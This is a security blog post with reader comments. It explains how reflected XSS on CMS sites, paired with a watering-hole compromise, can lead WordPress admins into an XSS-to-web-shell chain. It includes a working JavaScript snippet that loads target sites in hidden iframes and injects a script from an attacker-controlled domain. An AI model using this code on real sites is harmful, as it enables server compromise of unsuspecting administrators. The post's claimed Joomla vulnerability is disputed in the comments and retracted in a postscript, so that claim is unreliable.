Reflected in Watering Hole

Cross-site scripting becomes much more dangerous when used with another attack strategy. One of them is called Watering Hole and it’s better explained with the infographic below by Symantec:

watering-hole-attack-info

Content Management Systems (CMS), very popular in the web, are perfect targets to XSS exploitations due to its standardization. The same code is running in a lot of sites like we can see in W3Techs and BuiltWith statistics. This can easily lead to mass compromise.

In XSS to RCE – using WordPress as an example by Riyaz Walikarwe can see in details how to use an XSS vulnerability to get a web shell in current WordPress. His post is based in the following set of tweets, which in turn are a minification of James Hooker‘s work XSS and WordPress – The Aftermath.

If an WordPress administrator is logged and get XSSed, attacker is able to run commands in the underlying server. This becomes pretty easy if a vulnerability is a stored one. But with a reflected XSS attack, usually people think they need to click on a link, by means of phishing or a social network sharing.

In fact, an admin (or everyone else) doesn’t need to click on a link if there’s a reflected XSS vulnerability in the domain where WP is installed (inside or outside the installation). If an attacker is able to infect a site where he/she visits (watering hole), it’s possible to make he/she executes the XSS payload in the context of the affected domain.

An attacker can build a list of sites vulnerable to the latest reflected XSS disclosed and use the following script to load each one into invisible iframes in an attempt to hit a victim with it:

targets=[
‘a.com’,
‘b.com’,
‘c.com’
]

for(i=0; i<targets.length; i++){
f=document.createElement(‘iframe’);
f.setAttribute(‘style’,’display:none’);
f.src=’//’+targets[i]+’/PATH/PAGE?PARAM=<script src=//DOMAIN/xss2rce.js>’;
document.body.appendChild(f);
}

This simply defines a list of targets (a.com, b.com, etc) and iterates through them to create hidden iframe (style=display:none) elements with source being the relative path to vulnerable page, along with the respective payload loading the script for the CMS assault (xss2rce.js).

He/she then finds a vulnerability on a site commonly accessed by targeted admins, like a CMS forum or a website of a theme/plugin maker and infects it with a stored XSS or via SQL injection (or any takeover technique). The longer the target list is, the greater the chances of making an incautious admin create a web shell for the attacker.

Here is an example of the idea exposed above:

joomla-sqli

It was still vulnerable live to the time of this publishing.

#hack2learn

P.S: as pointed out by the very author of the highlighted 3rd party component in Joomla! website (SobiPro), Radek Suski, this is not a real vulnerability (it was there just to illustrate anyway).

6 thoughts on “Reflected in Watering Hole

  1. Sorry but the vulnerability you presented at the Joomla! community website isn’t any vulnerability. You silly caused an SQL error due to flawed logic in a 3rd party extension (not even Joomla!)
    The quote character you tried to pass to the SQL query was properly filtered out of the request.
    The 3rd party extension (SobiPro) used on the website is the one I am author of. We fixed it already but, once again, this is by no mean a vulnerability.

  2. […] The theme suffers from a reflected Cross Site Scripting (XSS) vulnerability that would allow an attacker to steal an admin’s cookie, if WordPress wasn’t secured against that type of attacks. Some information on that is available in my prettyPhoto XSS post from May 2014. However, you must be careful for the XSS watering hole-effect. […]

Leave a Reply